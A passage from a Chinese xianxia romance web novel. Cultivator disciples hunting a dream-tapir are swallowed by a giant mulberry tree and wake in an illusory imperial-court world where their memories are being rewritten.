——毕竟,旁人的言语与态度,对他而言着实无关紧要。
他只在乎值得在意之人。
倒是另外四名弟子轻易地接受了与他同队的结果,甚至阮维主动来打了招呼,高挑清丽的陶雪亭亦是微微颔首。
虽是有些意外,不过顾从星也并未多想,回应过后便投身于接下来的任务之中。
****
顾从星与兰决并未在傍晚休息,不约而同地探索起庆桑庄内部。
“看师兄面色,那村长似乎没什么问题?”
“哦?师弟何出此言?”
“你在搀扶他时似乎探了探他体内,我应该并未看错吧?”
闻言兰决向他眨了眨眼,露出个赞赏的笑容:“师弟好眼力,我还以为没人发现呢。”
看顾从星并不搭话,他又继续道:“村长体内并未有灵力波动,的确是个凡人。可他似乎有所隐瞒。”
“同感。”
两人在交谈中走走逛逛,不知不觉间竟已回到村庄中心。
庆桑庄虽看着占地极广,但人口却并不稠密,加之有人背井离乡,不少土地已经荒废。
此番探索权当熟悉了地形,但并未获得有用的线索。
与顾从星分别后,兰决本欲就此回到居所,却不经意间仰头,望见一片横亘天地间的铁剑。
他骇然驻足,再细细凝神望去,却只见哪有什么铜铁刀剑,原来是一颗枯败的巨大桑树。
这桑树至少有百年以上,树干极其粗壮,足足需要四五个成年人合抱。它无声无息地屹立于这庭院之中,窥探众人惶惶一生。
“这可是我们庄里的老古董了。”
村庄缓步从主屋内踱出来,对兰决道:“我小时候它还枝繁叶茂嘞!谁知几十年过去,我垂垂老矣,它也成了枯枝败叶。”
兰决侧身与他交谈,声音浅淡:
“若是尽人事,晓全
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貌,倒也并非不能令铁树开花。”
村长浑浊的眸子闪了闪,也看向桑树,一时陷入沉默。
“哎,我只是个凡人,怎能对抗自然时令啊。”
他声音苍老而缓缓:“仙君啊,我并没有什么大的能耐,这把老骨头,只盼着能护一护村中人、保一保庆桑庄。”
“如此,便足够了。”
兰决并未出言,琥珀色双眸观察村长神色,任沉默流淌在两人间。
良久,村长又抚了抚胡子,一步一颤地回去了。
*****
夜间子时,万籁俱寂。
青玄剑宗弟子们集合,兰决叮嘱一番后便率五名弟子往东侧赶去。
顾从星队伍则是向西方前进。
他们决定先从庆桑庄边缘开始搜寻梦貘的踪迹,渐渐缩小包围圈,直到捕捉到其妖气,将其就地捕获。
——然后,斩杀。
出发前,顾从星随手一掷,五颗银芒飞入弟子们手中。
阮维将其接过,定睛一看便发出惊呼:“上品聚灵丹!”
这灵丹不仅可以快速补充灵力,还能保持体力不减,可是价格高昂的宝贝。
“这……多谢顾师兄。”陶雪亭诧然地道谢。
灵虚峰那对师兄弟亦是忙不迭地言谢,却瞥见身旁的梅慈皱着眉头,一言不发。
“哼,一颗聚灵丹就想收买我?”梅慈憋出这一句来。
“闭嘴,不要就给我还回来。”
顾从星丝毫不惯着他,语气冰冷漠然。
若不是时间太短又材料珍贵,只够炼出五颗,他早就给这十人一人一颗了——当然,不是因为多么珍视这些弟子,只是为了完成任务罢了。顾从星想。
不过这梅慈占着便宜竟然还耍性子?
哪来的脸?
梅慈被顾从星一句话刺得面色通红。他从小就在宗内被娇惯着长大,哪受过这种对待。
他正要发作,阮维却已经探过身来捂他的嘴,低声耳语:“师弟啊,梅峰主云游已久,你当真要和顾师兄闹个鱼死网破?”
梅峰主,正是沐泽尊者。亦是梅慈之父。
梅慈诧异地瞥阮维一眼,随即像是被戳破的球般泄了气,不再言语。
顾从星斜睨他一眼,对众人道:“莫要再浪费时间了,我们这就开始追寻……”
“顾师兄,你看那边!”
陶雪亭惊声大呼,众人随着她所指之处望去,只见一团灰影快速闪过。
“追!!”
顾从星当机立断,众人迅速跟上,向那道灰影祭出数道法器。
距离稍近,便能看清那影子的真貌——
象鼻、狮身、麟尾,不是梦貘又是谁?!
顾从星挥剑劈去,金色剑芒刺中飞影般疾驰的梦貘,它发出一道婴啼尖叫,更加卖力逃命。
灵虚峰两人见状迅速低念口诀,双手结印,灵光涌动,言出法随:
“缓行诀!”
中了招的梦貘步履肉眼可见地变慢,陶雪亭见状反应极快地投出一道束缚符箓!
与此同时,阮维祭出厚土剑招,直拦去路!
“嗷——!”
梦貘发出一道痛吼,无力地栽倒在地,身上缠绕着灵力绳索,已是重伤累累。
“太棒了!”
阮维抚掌欢呼:“这么快就擒住了这梦貘,真是得来全不费工夫!”
陶雪亭也露出浅笑。
“呼,也并不难对付嘛,枉我紧张好久。”
“本就是玄极任务罢了,更何况我们配合如此默契,小小梦貘自然是手到擒来。”
灵虚峰两名弟子对话着,显然俱是松了一口气。
顾从星亦被他们的话语感染,嘴角无自觉扬起个轻笑。可是下一瞬他又感到一道极强的目光,回过头却只见梅慈猛地转身。
他似乎是有些不自在——也许是因为方才没能像其他人一样出手吧。
顾从星这般想着,却见梅慈向梦貘方向迈步过去,冷哼道:“那我这便去了结了它。”
众人皆无异言,毕竟只剩梅慈未出招,若此番再不让功,到时候任务结束可就不好分配了。
顾从星默然看着他的背影,视野中猝然闯进一抹绿意。
……树叶?
他仰头望去,这才发现他们追着梦貘竟不知不觉间回到了村庄中心,不远处正是那颗巨大桑树。
——奇怪,这棵树,本来是这般枝繁叶茂的吗?
顾从星的心跳突然加快。
眼看梅慈将要到梦貘面前,顾从星不由得迈出一步,可就在此时弟子玉牌发出惊人烫意。
他掏出玉牌,兰决的尖声呼喊冲进所有人耳膜:
“从星!别靠近桑树!!!”
“逃——!!”
12. 无梦庄(2)
一刻钟前。
与顾从星队伍分离后,兰决率弟子们在东侧搜寻。
可惜,并不见梦貘踪迹。
“奇怪,即使用了法器罗盘,我也未搜到妖力波动。”
“我也是,即使用追踪符箓也一无所获。”
两名弟子查探许久,交头接耳,正欲向兰决询问,却听一人惊呼道:“欸!你们来看看这边!”
众人循她所言望去,只见入目的是一座门户大开的房子,其庭院中作物枯萎,晾衣绳上还挂着几件衣裳,破旧苍白的长衣随着冷风飘动着,在这黑夜里说不出的瘆人。
“这、这有什么好看的?”那瘦弱弟子起了一身鸡皮疙瘩。
他曹云向来胆小,最经不住吓。
“对啊!我们可是要除魔的,又、又不是抓鬼!”
另一名名唤夏允儿的少女语气有些嗔怒。
先前发声的那名弟子有些委屈,又离那房子更近了些,手指着那飘舞的衣服。
“这衣服面料我认得,可是上好的锦罗丝绸呢……”
此话一出,夏允儿与曹云俱是翻了个白眼,然而兰决却神色骤变。
“——如果是背井离乡逃往外地,为什么不拿这贵重的衣物呢?”
此言一出,全场寂静。
刺骨的寒意泛起,夏允儿的秀丽小脸霎时间失了血色。
“你的意思是……那村长骗了我们?”
“不不、不会吧。若是如此,这么多失踪的人都去哪了……?”
曹云颤声接话,已经往后退去一步。
另一名弟子高慕亦是心中大骇,但看众人皆是面如土色,他不愿气氛继续低迷下去,便开始左右环顾,想要转移话题。
咦?那是?
“喂,你们别这么害怕了。快看那边,那颗桑树开的多茂盛!怎么……还发着光?”
此言一出,只见兰决面色猛地一沉。
他的灵力骤然爆发,神情是前所未有的冰冷。
几位弟子俱是噤若寒蝉,却见师兄挥袖一甩,给他们剑上附了几道金丹后期的强大剑意,旋即一刻不停地御剑飞去。
“你们五人立即回宗!向宗门救援!高慕,由你带队!”
“走前给庆桑庄设上结界!确保在宗门来人之前,他们绝对无人能够离开此地!”
几名内门弟子俱是惊心骇神,忙不迭地回道:“是!师兄!”
沈慕的身影如闪电般划过夜空,他的眸子紧紧盯着前方的巨树,却瞥见了几个熟悉的人影。
——是师弟他们!
兰决双目睁大,他看到了那巨大的桑树竟然无风摇曳,树冠中悄无声息地裂开了一道漆黑的缝隙。
如同即将吞噬万物的巨口。
兰决心如擂鼓,他立刻催动传讯玉牌,疾声高呼:
“从星!不要靠近桑树!!”
“逃——!!”
然而就在此刻,那一动不动垂死的梦貘却骤然运转妖力自爆妖体,刹那间灰色烟雾弥漫,众人眼前皆是昏暗一片!
而就在不远处,桑树之上的裂隙赫然撕开,硬生生地张开了一个深不见底的黑洞!
“啊啊啊!”
离得最近的梅慈被梦貘自爆波及,双臂俱是皮开肉绽。
同时,一股极大的吸力不可抗拒地传来,梅慈回头一看,只见竟是展开了深渊巨口的桑树!
“不、救命——!”
他惊惶地向前伸出手,却触碰不到任何一人。
来人,救救我!父亲——
不要像之前那样抛弃我!救救我!救我!
突然,他的手被握住了。
那双手并非父亲的手,却修长白皙,带着与想象中截然不同的暖意。
黑琉璃般的眸子中,映出梅慈怔愣的脸。
为何是他?
顾从星?!
顾从星拽着梅慈,咬牙对抗着强悍的引力。
该死!这任务果然有蹊跷!
他双手紧紧拉着梅慈,否则略一松手这倒霉蛋就要落入黑洞之中。
可也正因如此,他全然不能去取出灵器法宝,只能以自己力量相抗。
“妈的!这什么鬼!”
阮维将剑插入土地,双手紧握剑柄,却仍是被不断向后拉扯,长剑在土地中留下伤疤般的长痕。
“糟了,坚持不住了!”
灵虚峰那两位弟子彼此相撑,脚步却不可抑制地倒向身后。
“不——”
陶雪亭伸出去扶他们,却不料自己也被带倒!
三人骤然失力向后飞去,艰难支撑的阮维不幸被击中,也大呼一声向后飞去。
“草!”阮维痛骂一声,向顾从星伸出了手,“师兄救命!”
顾从星闻声一惊,这才发觉原来这四人都已支撑不住,他咬了咬牙,正欲强行召出护体法器,却见那桑树竟像是久未进食的饕餮般发出一声巨吼!
随即而来的,是更加不可抵挡的强大吸力!
“啊啊啊!”
随着众人发出惊呼,顾从星的双脚也被带离地面。
感觉到身体飞速向后的同时,顾从星的眼前陷入一片昏暗。
……好像有道蓝光?
是谁在往这边飞驰而来?
他的思绪陷入混沌,嘴巴却在被黑洞吞噬的最后一刻吐出一声呼唤——
“兰、决……”
……
***
“……殿下!”
“世子殿下!”
“快醒醒!世子殿下!”
顾从星睁开双眼,映入视线的是一片鎏金回纹红木床顶,再眨眨眼,已有一名少年的面庞凑到身边。
这是侍从……似乎是叫阿洛?
对了,自己是项国的镇国公府嫡子顾从星,京城内鼎鼎有名的小霸王。
“世子殿下,您感觉如何了?您从长阶上摔下来可把我们都吓坏了,头还疼吗?”
疼,头现在依然很痛。
顾从星脑中混乱一片,却能够清晰地感受到阵阵头疼,像是有无形的刀子在剜动。
在夺取什么?这刀子想要剜走什么?
“唔……”
看他又痛苦地抱住脑袋,侍从惊慌地唤了几声,又忙不迭地跑出门去寻医者。
片刻后,一名医官提着药箱迈步而入,抓起顾从星胳膊就为他把起脉来,又开始施针。
顾从星转头去打量这名年纪轻轻的医官,只见此人面容白净,五官明丽,却总是眉峰紧蹙,看着颇为不耐烦。
不知为何,这人明明是臭着一张脸,自己看着他倒是比阿洛更为亲近些。
“梅大人,我家世子殿下状况如何了?”
“闭嘴。打扰我行医你担得起吗?”
梅慈恶声恶气,头都不转地回应。
阿洛闻言神色僵了僵,垂着首无声退下了。
按理来说自己的侍从被外人这般呵斥,顾从星应会觉得不爽才是。可他看着阿洛那委屈的模样却实在生不出怜惜之情。
反而是现在这样和梅医官独处时更自在些。
顾从星打量着面前的医官,却无意间扫到他手臂上的狰狞伤痕。
“梅医官这伤看着像被爆炸波及?为何
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不治好?”
眼看梅慈面色不虞地皱眉,顾从星自顾自道:“噢噢,对了,医者不自医嘛。”
梅慈冷哼一声,并不应他,只是把自己衣袖往下扯了扯,又动作细致地施针。虽然他态度恶劣,不过仅从手法就能看出的确是医术了得。
“怎么样,我莫不是要死了?”顾从星咧嘴问道。
“死不了。世子殿下身子骨强健的很,不过是磕到了头有些轻微脑震荡罢了。再修养些日子便又能出去祸害京城了。”
梅慈站起身收拾医箱,顾从星也撑着床沿坐起身,并未注意到自己的里衣微微散乱。
梅慈正准备告辞,无意间一瞥却看到顾从星脖颈之下形状秀美的锁骨,他露出的肌肤竟洁白如新雪,似乎轻轻一碰就能留下鲜明红痕……
“哼!!你……你别给我来这套!”
梅慈面色骤然爆红,骂骂咧咧地抓着药箱转身就走,走到门口时还被门槛绊了一下,险些扑倒在地。
顾从星:“?”
这人脾气真是古怪得很。
顾从星皱了皱眉,也懒得再管梅慈的反应,又和衣睡下。
他似乎有些时日没有好好休息了。
这样毫无负担地、无忧无虑地沉溺于温暖被窝——感觉真好。
可是自己以前有什么重负吗?他可是家世煊赫、父母宠爱的镇国公世子,哪个公子小姐见了他不都乖得和孙子一样,他又何须感到忧虑?
刚刚涌出这样的疑惑,顾从星就感到一阵睡意袭来,不过片刻,他意识又陷入一片黑暗。
再次醒来,竟已经是第二日朝晨。
顾从星披着一件轻薄长衫下床,他轻手轻脚,并未惊醒在外间值夜的侍女。
双手推开房门,清凉微风中带着些梨花香气。昨日夜间微雨,庭院中仍氤氲着淡淡雾气,日光也被厚重的云朵所遮盖,只洒下些不甚明亮的光晕。
在这一片湿润寒意之中,顾从星却感到安心与熟悉。他攥紧了身上的衣服,缓步向前而去。
绕过九曲回廊,穿过幽深庭院,顾从星再未遇到其他人影。
奇怪,这府内怎么如此冷清?
哦对了,这并非镇国公府,而是位于京郊的一处别院。自己正是来此处偷懒玩乐,不慎从阁楼上失足摔下。
每冒出一些疑惑,他很快就能从自己的思绪中得到解答。
顾从星莫名生出些烦躁,明明没什么不对的,可他就是难以彻底放松下来,像是在一处悬崖中的吊桥中茕茕独行,稍有不慎就会落入万丈深渊。
可是眼前的分明是康庄大道,哪来的险象丛生?
他的头颅深处又泛起些疼痛,甚至似乎开始回响起隐隐的耳鸣声来。
他摇摇头,告诉自己莫要再胡思乱想。
咦?前方似乎有一处湖泊?
原来这处别院是环湖而建。
他望着那边水平如镜、波澜不兴,另有杨柳依依,静立在侧。在这一片愁云惨淡的景致中,这一处倒是稍显出生机来。
顾从星不由得走近了些,却骤然发觉湖边有一道白衣人影长身玉立,衣袂翩翩。
他的目光黏在那道身影上,平静的心湖骤然被投下一颗石子,不可抑制地荡漾起来。
那人若有所觉地回首,一张白玉面庞之上本是毫无表情,泛着冷意,可在看到顾从星的一瞬间却迸出光彩来,如黑白泼墨画染上一点朱红。
此时大风刮过,流云涌动,日光倾泻而下,阴沉长湖刹那间波光粼粼,如碎金涌动。
皎皎君子乌发飘扬,在一片潋滟湖光中含笑颔首:“世子殿下,巧遇。”
13. 无梦庄(3)
顾从星看着眼前遗世独立的公子,心跳不自觉地加重。
为何,在看到他的第一眼,就会感到欣喜难耐?
还有这莫名的安心感……
对面的兰决也在思索,他眸光微转,似是想再说些什么,却只是温和地等着顾从星的回应。
“兰决……兄?”
顾从星的呼唤脱口而出,可他却又觉得有些拗口,似乎本不应这样称呼的。
“……兰兄?”好像也不太对。
他回顾自己的记忆,已确认了此人正是当今丞相嫡子兰决。兰丞相执政多年,为人清廉正直,两袖清风,在朝中颇有美名,颇得圣上宠信。
兰决作为其嫡长子,少时就有神童之名,端的是芝兰玉树佳公子,光风霁月状元郎。
不错,在不久前兰决就已参加科举并高中状元——与自己迥乎不同。
明明两人自幼便相识,也称得上是青梅竹马。可在太学时,兰决总是众星捧月,周身夸赞不绝于耳,而顾从星却被众人敬而远之,乃至恶名远扬。
……至于起因,顾从星已经记不清了,貌似是因为自己在入太学后不久,就打了几场架,揍了几个小少爷?
但不论他人如何区别对待,兰决从未疏离过顾从星。
相反,这人总是在顾从星孤身一人时从簇拥着自己的人群中走出,如一缕清风般来到顾从星的身边。
有时顾从星别扭劲上来,会对兰决阴阳怪气,说些诸如“大忙人兰公子怎么想起我来了”的话。
闻言同窗们皆会面露嫌恶,只觉得顾从星这人骄纵跋扈、好赖不分。
可兰决却总面不改色,甚至笑意不减,一次次地相伴顾从星左右。
不过即使这般包容迁就,两人之间还是爆发了激烈争执——就在不久前。
彼时兰决高中状元,白马游街,风光无限。他身披朱红锦袍,头戴螭纹白玉冠,丰神俊朗,唇角含笑。光武大道两旁众人皆是为他欢呼,阁楼中的贵女们含羞带怯,抛去花枝绣帕。
在灿烂花海中,一贯谦逊的兰决也骄傲地扬起下颌,眸中尽是风流意气。
顾从星隐在街道两旁的人群之中,和所有人一样,目光紧紧黏在状元郎身上。
心神俱为他所牵动。
顾从星注意到游行队伍途径听海阁时,一只纤纤玉手投下株绣球牡丹,不偏不倚落入兰决怀中。
兰决讶然抬眸,只见窗阁之中探出一张国色天香美人面,带着骄矜笑意。
——居然是当今长公主殿下!
刹那间,目睹这一幕的围观之人都爆发出一阵欢呼,不乏起哄的口哨声。
绣球牡丹,抛“绣球”,可不就是长公主抛绣球择新婿?!
顾从星在暗处,默然看着兰决与长公主萧嫣隔空相望,脑中竟一片空白。
那些欢呼雀跃声越来越大,与他重重的心跳声交叠,像是要贯穿他的胸腔。
“砰、砰——”
眼前的场景似乎都在褪色,他目之所及越来越小,最终只聚焦在兰决的面上。
当他看到兰决向公主勾起唇角时,顾从星不知为何竟有些坠空般的晕眩感。
他慌乱而仓促地逃了。
在一片人声鼎沸中,如一只惶惶然丧家之犬。
自那之后,兰决每每来寻顾从星,他皆是闭门不见。直到兰决第四次来寻,他实在忍受不住,当着府内诸多人的面怒喝:“够了!你兰大人再过不久便可平步青云作驸马,又何必来我这儿惺惺作态!”
“真是虚伪至极!令人恶心!”
这句话甫一骂出口,周边顿时陷入死寂。顾从星骤然回神,有些慌乱地去看兰决,却发现那人竟失了所有表情,面色惨白。
顾从星张了张口,最终却仍是一咬牙,将兰决推到府外,重重地合上大门。
此后,两人再未相见。
“……”顾从星回忆至此,不由得有些不自在,神色困窘。
自己竟能干出这种蠢事?说出这种恶言?
还是对着兰决?
顾从星正思绪翻涌,却听到了一道清冽润泽之声。
“世子殿下,愿意原谅我了吗?”
兰决依旧是那副温文尔雅模样,眸光含笑。似乎已全然不在意自己被斥责辱骂之事。
他和以往无数次一样宽宥了顾从星。
“啊,恩。”
顾从星脸上有些烧,实在是有些不敢再去看兰决,眸光扫着地面的碎石。
感受到对面那人的注视,顾从星清咳一声,刻意地转移话题:
“对了,你怎么会在此处?”
没想到这一问却让兰决陷入了沉默。
他望着湖面,眉宇间笼罩着困惑之色。
“……不知。”
顾从星:“啊?”
“我一觉醒来,内心总有个声音和我说,要我来这里。”
兰决转回目光,望着顾从星的秋水明眸一片坦然。
“因为在这里,我可以见到一位至关重要的人。我本来还在想是谁,可脑中着实混沌一片,难以辨清。”
“但一见到你,我就知晓了。”
“我是为你而来的,从星。”
顾从星的心跳猛地乱了一拍。他有些慌乱地眨了眨眼,睫羽轻颤,白皙面上浮现红晕。
“你……”
“啊!世子殿下、兰公子,原来你们在此处。”
一道男声猝然传来,两人皆是回首望去,瞧见一个相貌庄正、笑容和蔼的中年男子。
“林管家?”顾从星思考片刻道。
“属下来迟了。”林管家走上前,向两人俯身行礼,“此处露重,两位可别着了凉。尤其是世子殿下,您病体未愈,尚需好好休养啊。”
“哼,知道了。”顾从星有些不耐。
“从星受伤了?”
兰决声音中的惊讶与担忧不似作伪,林管家诧异回道:“是的。兰公子您不正是听闻了世子殿下受伤,昨日才急慌慌地来到这里探望吗?”
“是这样么……”兰决撑着脑袋,眉峰微蹙,“恩,我想起来了,的确如此。”
“的确如此。”他垂着眼睑,不知为何又重复了一遍。
又有侍从阿洛捧着狐裘斗篷跑来,林管家正要为顾从星披上,却被他摆摆手拒绝了。
“不必,我长期锻体,还会怕这点寒气?”
他脱口而出这句话,在场三人俱是一愣,神色各异。
顾从星自己亦是惊讶:长期锻体?可自己顶多有些拳脚功夫罢了,并非是常年习武之人……
兰决眸光闪烁,林管家和阿洛却露出迷惑神色,旋即向旁边歪了歪头,角度竟是惊人的一致。
“世子殿下是何意,属下不知。”那两人异口同声道。
“……无事。”顾从星心中异样感更甚,他看着那两名侍奉自己多年的下属,竟生出些陌生之感。
无声地往后退了一步。
林管家与阿洛的黑色瞳仁一动不动,只静默地凝视着顾从星。周边空气温度骤然下降,竟令人汗毛倒竖。
就在此刻,一道波澜不惊的温润声音打破了越发诡异的氛围。
“你那些功夫,揍揍人也就罢了,可别再逞能。”
兰决似毫无察觉旁侧两人的变化,极为自然地接过狐裘斗篷,迈步走到顾从星面前,为他披上。
兰决身量修长,站在顾从星面前时比他高出一头,彻底阻断了林管家他们望向这里的视线。
他的手伸到顾从星面前,袖口送来一阵幽梅暗香。
白皙的指节极轻巧地翻动,将斗篷的系带挽紧,还系了个花结。
“若是冻坏了身子,几日后的琼花宴可就去不得了。你上次不还念叨着要进宫去寻太子一决高下么?”
“……哼,那是自然。我这次定会胜他。”
“那我且拭目以待。”
听两人这般交谈着,林总管与阿洛的目光也渐渐收回,周身温度缓缓回升。
如芒在背的感觉消失,顾从星不动声色地松了口气。
此刻两人离得极近,顾从星微微仰头,正看到兰决低垂着眼眸,温柔而专注。凑得近了,这才发现原来他的眼睫并不卷翘却很纤长,这般向下看时,那明亮的琥珀双瞳就隐在阴翳之中。
顾从星的呼吸有些乱,极快的收回了视线,可脸颊上又升起些热意。
兰决的手指探到顾从星脸侧,为他将碎发挽到耳后,这才注意到少年的耳朵上竟染了些红晕,颇有些可爱。
“从星怎么害羞了?”他轻笑着,忍不住去揉了揉顾从星圆润的耳垂。
肉乎乎的,手感不错。
“你!”顾从星面色爆红,他眉峰蹙起,正要张口呵斥,却一把被兰决用双手捧住脸颊,还往中间揉去。
“唔!南(兰)觉(决)泥(你)……”
“呵呵。”兰决瞧着少年红唇嘟起,双眼因气恼睁圆了瞪着自己,竟有股说不出的畅快。
他似乎从很久之前就想这样做了。让这个总是心思沉沉、待人疏离的少年也毫无顾忌地生气、欣喜、害羞、恼怒。
——无需被那些无形的重负
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桎梏。
“世子殿下这模样,倒像个圆鼓鼓的河豚呢。”
“够、够了!”顾从星猛地一推,脱离了兰决的罪恶双手。
可恶!兰决这家伙怎么还笑得那么人畜无害!
“哼!你既然也住了两日,也该早日回去了吧?”
对于这明晃晃的逐客令,兰决依然是云淡风轻的笑容,道:“的确如此。那我今日便启程回府了。”
顾从星应了一声,掉头就走,动作虽是干脆利落,可面颊上还带着未散的红晕。
身后似乎又传来恼人的笑声,顾从星愈发加快了步伐。
***
四日后,京城,乾元殿。
紫禁城中正是秋高气爽、金桂飘香。宫中召开琼花盛宴,群贤毕至。
此次佳宴并非设于大殿之内,而是万花苑桂园之中——毕竟,此次琼花宴的主角并非皇亲贵胄,而是金榜题名的风流才俊们。
高门贵女们身着华服,少年公子们三五成群,聚在一处,不时传来些嬉闹玩乐声。
顾从星孤身一人坐在东侧高座之上,满脸写着无趣。
其实以他的地位而言,就算人缘不佳也总该有些狗腿在旁。可惜他向来懒得做表面功夫,对那些趋炎附势之辈总是不假辞色。
和兰决自幼相伴着长大,他挑同伴的眼光也不自觉高了些。
不过就算如此,也总还是有些少年巴巴地围在他身边。直到进了太学,他和人打了几架,那些想要与他交好的人也都跑没了——
毕竟,他顾从星揍得正是当今太子的伴读,打得正是未来天下之主的脸。
自那之后,他与太子本就恶劣的关系也越发雪上加霜。
顾从星回忆至此,有些空白的记忆也都圆满起来。但不知为何,他却难以心生喜悦,反而是又涌出些烦躁。
端起酒杯,他呷了一口,有些讶然地扬起眉。
“竟是山楂果酿,这味道……”怎么有些熟悉?
是谁,也曾为我送来酸甜山楂?
那人似乎有一双总是含着笑意的暗金色双眸……
“才病好了几日就在这里喝酒,你倒是不嫌命大。”
一道熟悉的讥讽传来,顾从星不用抬眼,就猜到了来人。
“怎么,梅医官很关心我的身体?”
顾从星又饮了口酒,冲着梅慈哂笑。
一听这话,梅慈活像被踩了尾巴的猫,大声道:“痴心妄想!我怎么会关心你这种人……”
他还未说完,就被另一道懒散的声音打断了:“梅兄,老远就听到你在这里大呼小叫了。”
吏部尚书之子阮维摇着扇子走来,一派玩世不恭神色。明明年岁不大,他为人处世却是老道,方调侃完梅慈,就向顾从星微笑行礼,毫不逾矩。
“见过世子殿下。”
顾从星颔首应下。
对于这名面容清秀的圆脸少年,他倒是生不出排斥,反而还感到些亲近。
“切,假惺惺。”梅慈不屑道。
阮维“欸”了一声,正要与他争辩,却听到不远处的少女们发出惊呼:“是一甲进士们来了!”
“状元郎果真名不虚传,好生英俊!”
“兰决公子!”
顾从星的心跳不可抑制地加快,他循着众人惊羡的目光望去,只见一众神采焕发的书生们走来,为首的正是皎皎明珠般的兰决。
他着一袭远山初晴色的青色长衣,外披白纱薄衫,其上可见灵鹤祥云刺绣。腰间一条素色丝绦,轻轻一束,勾勒出他修长身形。
待他落座不过一息间,周边几位少年已经一拥而上,另有几名贵女也侧立在旁,含羞带怯地向他道贺。
兰决被拥簇其间,却已是司空见惯,他一如既往地扬起清润笑意,举杯与众人言笑晏晏。
顾从星的目光一错不错地凝视那边,并未注意到梅慈与阮维已经离去,身后却有一道黑影无声靠近,带着讥嘲的轻语挟着热意喷在他耳边。
“许久不见,你倒是越发没出息了。”
谁!?
顾从星骤然回神,他下意识地向后挥出一道肘击,被拦下的同时侧转起身,抓起食案上的竹箸就向后刺去!
“太子殿下!”
耳边传来尖声惊呼,顾从星的手微微一顿,失了迅猛势头,被对面那人一把拦下,紧攥手腕。
“行刺太子,该当何罪?”
金纹玄衣的少年贵气逼人,漆黑的双眸中映出顾从星大惊失色的面容。
怎会是他?!
——萧忘忧?!
14. 无梦庄(4)
顾从星面色煞白,不可置信地睁大眼。
不对!不对!
任何人都可以出现在此处,可唯独不该是萧忘忧!
因为只要他一出现,就将开启悲惨命运——
不!不对!萧忘忧是太子,是自己许久之前就与他相识,哪来的悲剧宿命?
究竟是怎么回事?!
“唔……!”顾从星的头又开始泛起钝刀切磨般的痛苦,被压抑许久的耳鸣声再度作响。
滴——
滴滴——
好鼓噪的声音!不要再响了!不要再动了!
顾从星刹那间已是冷汗涟涟,他双臂抱紧头颅,痛苦地弯下腰,紧咬的嘴唇中漏出痛苦呜咽。
“……喂?”
萧忘忧本是等着顾从星认错讨饶,却全然未料到他竟却像是见鬼了一般。
更没想到他竟会露出如此痛苦的模样。
“顾从星,你究竟是搞什么鬼,别以为搞这一出就可以逃过冒犯之罪了。”
萧忘忧这般说着,却不自觉地伸出双臂,轻搂住浑身颤抖的顾从星。
顾从星依然垂着脑袋,萧忘忧的视角只能看到他一截修长白皙的脖颈轻颤,如狂风骤雨中的白杨。
怎么回事,他好像快要支撑不住了……
萧忘忧“啧”了一声,正欲呼唤太医,可一个转头间怀中人就被夺了去。
臂弯间的暖意骤然消失,萧忘忧面色一沉,回首却看到更加冷峻的面容。
兰决长臂一揽就将顾从星按在怀中,另一手轻抚他的面颊,动作极其轻柔,可抱人的力道却是不轻,两具身躯毫无缝隙地紧紧相贴。
一贯如沐春风的声音,此刻却像是淬了冰:“太子殿下,息怒。”
明明说着请人息怒的话,可他却毫无恳切神态,眸光沉沉。
“哼,你放着琼花宴的主角不当,一直偷偷注意着这里作甚。”
萧忘忧俊美面容上浮现出讥嘲之色,“既然这般在意,方才又何必装作毫无察觉?”
看似毫无察觉此处顾从星灼灼目光,与他人谈笑风生。
兰决眯了眯眼,反唇相讥:“在下竟不知,殿下与从星已化干戈为玉帛,乃至为他打抱不平了。”
萧忘忧听了这话眉峰紧蹙,正欲张口,却听到一道焦急的呼唤。
“顾从星!”
来者正是梅慈。
他提着衣摆跑来,直到接近了才发现太子也在此处,草草行个礼就向顾从星的手腕探去。
兰决一把捏住梅慈的手,皱眉道:“你这是又是作甚。”
“兰决?你疯了?我可是医官!他都快疼晕过去了!”
听梅慈这般斥责,兰决如梦初醒般松开了手,默然任梅慈动作。
此前他并未与梅慈接触,之前看到此人时也是发现他和从星在一处。
也对,梅慈是当今紫禁城中最年轻的医官,乃杏林圣手梅慕之后。可为何自己全无印象?
兰决眉峰微蹙。
梅慈诊断道:“也许是之前的头部旧伤复发,得先把他带到房间内,我为他施针压制。”
“这里离东宫近,既如此不如直接去我偏殿。”萧忘忧极快地应道。
兰决无声地看了他一眼,调整姿势将顾从星拦腰抱起。怀中人已经意识不清,面容苍白,连嘴唇都要失去血色。
他正要迈步前往偏殿,却听一名侍从急急道:“兰大人!您不能离席啊……”
兰决脚步一顿,旋即沉声道:“若我不愿呢?”
那侍从被问得一愣,求助的目光望向太子。
萧忘忧冷哼一声,与兰决和梅慈一同疾步向偏殿行去。
***
“唔……我这是?”
顾从星再次醒来时,发现自己已处于一个全然陌生的房间。此处装潢典雅名贵,处处彰显着非凡贵气,显然不是自己的居所。
他有些茫然地眨了眨眼,这才意识到自己的手被紧紧握着,不断递来暖意。
顾从星顺着那只骨节分明的手望去,只见兰决正趴在床边,脑袋枕在手臂上,露出一张轩然霞举的侧脸。
清晨的曦光镀在他周身,越发显得这人清朗润泽,若白玉雕琢。
顾从星心中微微一动,不由自主地伸出手去,用指节轻蹭他的睫羽。
那日的状元游街时也是这般,红衣锦袍的兰决落在一片灿烂日光之中,仿佛天地都在为他加冕。
在那时,自己想做什么?
似乎也是像现在这般,与他并肩而立,与他紧紧相握。
“……从星?”
没想到极轻的一个动作竟唤醒了兰决,他的双眼瞬间睁开,眸光凛冽。可在看到顾从星时寒光褪去,又变得柔和起来。
“你头还痛吗?感觉如何了?”兰决坐起身来,轻声问道。
“我已经好多了,不必担心。”
顾从星如今已经感受不到头痛,浑身轻松。
可不知为何,远离了那清醒的痛楚,像这样处于一片舒适惬意时,他的内心却有一处陷入不安。
几日前那种如同身处悬崖吊桥之上的错觉又席卷而来,令他不由得敛眉。
说起来,这次极其强烈的头痛正是在遇到萧忘忧之后开始的。不仅如此,自己当时似乎想到了什么,可如今再去回忆,却全然没有思绪。
简直就像是……自己的记忆在被逐渐抹去一般。
念及此处,顾从星悚然一惊,脊背泛出些冷汗。
“从星?”兰决担忧地伸出手,贴了帖他的脸,“可是又感到不适?”
顾从星缓缓摇头,他的视线扫过房间,确认没有其他人后斟酌开口:“兰决,你会不会……偶尔感到异样?”
眼看兰决眸光一闪,顾从星正要继续,却感到周身空气又泛起寒意,屋外树影晃动,在窗棂上映下不规则的黑影,竟如无数漆黑双目。
他停顿片刻,倾身向前,嘴唇紧挨兰决的左耳,悄声吐息。
“尤其是……和记忆有关?”
